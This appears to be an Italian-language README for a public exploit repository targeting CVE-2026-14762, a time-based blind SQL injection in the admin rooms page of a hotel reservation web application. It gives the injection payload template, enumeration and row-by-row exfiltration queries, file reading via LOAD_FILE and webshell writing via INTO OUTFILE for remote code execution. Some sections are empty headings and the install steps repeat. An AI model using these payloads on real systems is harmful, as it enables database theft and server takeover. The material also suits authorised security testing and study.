CVE-2026-14762 – Exploit di SQL injection per Code‑Projects Hotel & Tourism Reservation 1.0

Exploit di SQL injection blind time‑based, multi‑thread e completo per CVE‑2026‑14762.
Prende di mira l'endpoint /admin/rooms.php dell'applicazione Code‑Projects Hotel & Tourism Reservation (versione 1.0).
Consente l'enumerazione completa del database, la lettura del file system (LOAD_FILE) e la scrittura arbitraria di file (INTO OUTFILE / DUMPFILE) – portando all'esecuzione remota di codice tramite il deploy di una webshell.

🚀 Caratteristiche

📦 Requisiti

• Python ≥ 3.11
• Pacchetti Python:
  • requests
  • urllib3
  • colorama (opzionale – per output colorato nel terminale)

Installa tutte le dipendenze con:

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 Utilizzo

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 Argomenti della riga di comando

⚙️ Come funziona

Costruzione del payload

Il parametro delete viene iniettato con:

150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

La funzione IF() valuta la condizione; se vera, il database rimane in attesa per secondi. Estrazione dei caratteri tramite ricerca binaria

Per ogni posizione del carattere, una ricerca binaria sull'intervallo ASCII (32–126) determina il carattere corretto utilizzando i confronti > e =. Ciò riduce le richieste da 95 per carattere a ~7–8, rendendo l'estrazione estremamente efficiente. Enumerazione dei metadati

Nome del database: SELECT DATABASE()

Tabelle: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1

Colonne: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1

Esfiltrazione dei dati

SELECT <col> FROM <table> LIMIT row,1 – estrae riga per riga

Ogni cella viene estratta carattere per carattere utilizzando la stessa tecnica di ricerca binaria

Interazione con il file system

Lettura: LOAD_FILE('/path/to/file') – richiede che secure_file_priv sia vuoto o punti alla directory di destinazione

Scrittura: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – richiede il privilegio FILE e che secure_file_priv non sia restrittivo

🛡️ Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, ricerca educativa e valutazione delle vulnerabilità. L'autore non è responsabile per qualsiasi uso improprio, attività illegali o danni causati da questo software. Ottenere sempre il permesso scritto esplicito dal proprietario del sistema prima di eseguire qualsiasi test.